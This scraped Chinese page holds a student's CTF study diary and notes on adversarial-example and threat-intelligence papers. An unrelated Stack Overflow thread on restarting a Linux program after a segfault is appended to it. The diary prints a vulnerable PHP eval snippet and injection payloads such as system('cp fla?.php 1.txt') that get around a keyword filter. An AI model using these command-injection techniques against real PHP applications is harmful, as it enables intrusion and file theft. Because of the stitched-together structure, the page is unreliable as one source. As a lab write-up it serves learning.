G1D11-CTF启程@命令执行29-30&课内论文&Automatic Mapping of Unstructured Cyber Threat Intelligence: An E
Posted 甄小胖
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了G1D11-CTF启程@命令执行29-30&课内论文&Automatic Mapping of Unstructured Cyber Threat Intelligence: An E相关的知识,希望对你有一定的参考价值。
----1522电脑到啦~~check完,先学习,有时间的时候再继续下软件
一、CTF
1、学习php漏洞
(1)开发环境搭建
先粗看了一遍课程,用了几个听过很多遍的工具,因为是二倍速,所以有些目的没听清,一会拿到新电脑,验完机后,可以自己实践一下!
2、刷题
(1)29
刚刚下载了Hackbar
#屏蔽错误
error_reporting(0);
if(isset($_GET['c']))
#拿到c
$c = $_GET['c'];
#如果没有flag,则代码执行c
if(!preg_match("/flag/i", $c))
eval($c);
else
highlight_file(__FILE__);
梳理一下可执行代码:
1、?c=phpinfo();
2、?c=system(‘ls’);
!!!别忘了;
3、因为过滤了关键字,所以不能用file_get_content()【我感觉也可以嘿嘿】,该用shell命令——
?c=system(‘cp fla?.php 1.txt’),因为过滤了flag,所以可以用占位符
4、顺便看下preg_match()函数
if(!preg_match("/flag/i", $c))
eval($c);
i代表大小写不敏感
再做一道~
(2)30
这题不让用system了,这可怎么办嗯???
1、用··反引号,在php中和system是相同的,试一下
2、但是不能·ls·,不管用emmm
3、试试Doraemon的方法~
(1)?c=print_r(scandir(‘.’));
(2)?c=echo(ls
);
(3)?c=var_dump(ls
);
我知道啦~··可以代替system(),直接用system的时候不用print,用··需要print。
二、课内文献阅读
再读一下论文,找一下问题~
找不到之前的问题了,以后日后问题要放在固定的地方留存,以防找不到。
那接下来花20分钟,再读一下!
(一)回忆输出
1、提出了两个神经网络的两个特性:(1)语义空间不在某一个unit上(2)可生成差异很小,但会让分类产生错误的对抗样本。以有理数和无理数举例,训练样本就像无理数,对抗样本就像有理数;训练的样本为无理数,所以模型只能有效识别无理数;虽然无理数和有理数很近,但是二者性质截然不同,放入有理数,模型会分类错误。
语义空间是什么?其对应英文是什么?
2、对抗样本生成方法
(1)扰动尽可能小
(2)分类错误
具体公式忘记了,需查看
3、实验设计
(1)最大激活某个神经单元和一组神经单元混合的图片,性质相同
(2)将根据某个模型生成的对抗样本,应用到其他超参数模型,或者其他数据集训练出的模型上,仍旧有效。
样本除了具有的跨模型适用性外,还具有什么适用性?
(二)需解决问题
1、语义信息是什么?其对应英文是什么?
semantic infomation,感觉就像提取出来的特征。
2、得知语义信息在整个空间中,对我们有什么帮助?
3、对抗样本生成具体公式忘记了,需查看
4、样本除了具有的跨模型适用性外,还具有什么适用性?
跨训练集的适用性,使用另一份训练集(分布不同)训练出来的模型也会被骗。
5、有理数无理数的比喻是如何描述的?
6、对抗学习可以提高模型准确度?文中有提到吗?是如何解释的?
三、APT论文阅读
-----------2112
两个电脑不知道怎么分配,先继续读一下文献hh,不能拖ddl
(一)Automatic Mapping of Unstructured Cyber Threat
Intelligence: An Experimental Study
啊啊啊,一篇没读完,有点注意力不集中了。感觉这篇写的一般。
Linux下segfault上的自重启程序
【中文标题】Linux下segfault上的自重启程序【英文标题】:Self restart program on segfault under Linux 【发布时间】:2011-04-11 19:41:06 【问题描述】:在 Linux 下,程序通过在崩溃处理程序中捕获异常(例如在 segfault 上)在崩溃时重新启动自己的最佳方式是什么?
【问题讨论】:
在这里查看一些答案***.com/questions/2545993/… 【参考方案1】:最简单的是
while [ 1 ]; do ./program && break; done
基本上,你运行程序直到它返回 0,然后你就中断了。
【讨论】:
这个解决方案和llasram's 可以使故意终止进程变得困难(至少用户最知道发生了什么......)。根据预期用途,这可能是好是坏。 @dmc 当然,最简单的不一定好。如果不了解更多有关需求,就很难说。我喜欢你的回答,因为它更健壮。 哦,我没有抱怨。这具有简单的优点,有时您不希望无知的用户将其杀死... @dmckee - llasram's answer 具有父级可以捕获SIGTERM
,向子级发出信号,等待,然后有序退出的属性。这个答案应该可以适应做同样的事情——bash 的作业控制应该足够丰富以支持它。
@dmckee 我在重启之前添加了一个sleep 2
,这样第二个 Ctrl+C 就会停止无限循环。【参考方案2】:
SIGSEGV
可以被捕获(参见man 3 signal
或man 2 sigaction
),并且程序可以在其自身上调用exec
系列函数之一以重新启动。对于大多数运行时崩溃也是如此(SIGFPE
、SIGILL
、SIGBUS
、SIGSYS
、...)。
不过,在这样做之前我会考虑一下。对于 unix 程序来说,这是一种相当不寻常的策略,您可能会让您的用户感到惊讶(也不一定以令人愉快的方式)。
无论如何,如果有你想在死前清理的任何资源,请确保不要在SIGTERM
自动重启,否则愤怒的用户会使用SIGKILL
,你会留下一个烂摊子。
【讨论】:
不是一个好主意,来自信号手册页:“根据 POSIX,进程的行为在它忽略不是由 kill(2) 生成的 SIGFPE、SIGILL 或 SIGSEGV 信号后未定义或raise(3)。” @Paul:我以前没有注意到这一点。我不清楚的事情是运行一个处理程序,该处理程序在您复制 argv[0] 的某个静态变量上调用 exec 构成“忽略”信号。我的直觉是声称它没有。无论如何,我已经能够在 Mac OS 和 linux 上可靠地处理 SIGSEGV。我不记得处理过 SIGFPE,而且我认为我没有每个生成的 SIGILL 或 SIGBUS。当然,这里的其他建议很好,可以实现 OP 的愿望,但我从字面上理解了标题。【参考方案3】:你可以有一个循环,在其中你基本上是fork()
,在子进程中做真正的工作,然后等待子进程并检查它在父进程中的退出状态。您还可以使用以类似方式监视和重新启动程序的系统,例如 daemontools、runit 等。
【讨论】:
【参考方案4】:作为对这里提议的补充:
另一个选择是像 getty 守护进程那样做。请参阅 /etc/inittab 和相应的 inittab(5) 手册页。它似乎是最全系统的平均值 ;-)。
它可能看起来像下面的文件片段。明显的优势,这种方法是相当标准的,它允许通过运行级别控制你的守护进程。
# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
【讨论】:
这是正确的做法。【参考方案5】:进程无法自行重新启动,但您可以使用crontab(1)
之类的实用程序来安排脚本以定期检查进程是否仍处于活动状态。
【讨论】:
没有什么能阻止程序在argv[0]
上调用exec
(几乎总是它自己的可执行文件)...
“崩溃”是操作系统发送信号(默认行为“终止进程”)。默认行为可以替换为用户定义的函数...
如果内存严重损坏以至于您在 SEGV 处理程序中获得了第二个 SEGV,该怎么办?从本质上讲,从另一个进程操作更可靠。
我同意@dmckee,AFAIK 调用 exec 基本上是另一个具有相同 PID 的进程。它重生,所有内存都丢失了(不确定共享内存和类似资源是否有任何问题需要显式清理)[只要你复制 argv[0] 的内存是干净的,你应该是好的]跨度>
@dmckee 如何替换默认行为?可以从程序内部完成吗?我的意思是,程序是否可以捕获自身崩溃然后重新启动。【参考方案6】:
程序本身显然不应该检查它是否正在运行:)
大多数企业解决方案实际上只是从ps()
为给定字符串提取输出的奇特方式,并在满足某些条件时执行操作 - 即如果找不到您的流程,则调用启动脚本.
【讨论】:
【参考方案7】:如果它特定于段错误,请尝试以下代码。这可以根据需要进行修改。
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>
#include <poll.h>
sigjmp_buf buf;
void handler(int sig)
siglongjmp(buf, 1);
int main()
//signal(SIGINT, handler);
//register all signals
struct sigaction new_action, old_action;
new_action.sa_handler = handler;
sigemptyset (&new_action.sa_mask);
new_action.sa_flags = 0;
sigaction (SIGSEGV, NULL, &old_action);
if (old_action.sa_handler != SIG_IGN)
sigaction (SIGSEGV, &new_action, NULL);
if (!sigsetjmp(buf, 1))
printf("starting\n");
//code or function/method here
else
printf("restarting\n");
//code or function/method here
while(1)
poll(NULL,0,100); //ideally use usleep or nanosleep. for now using poll() as a timer
printf("processing...\n");
return 0; //or exit(SUCESS)
【讨论】:
以上是关于G1D11-CTF启程@命令执行29-30&课内论文&Automatic Mapping of Unstructured Cyber Threat Intelligence: An E的主要内容,如果未能解决你的问题,请参考以下文章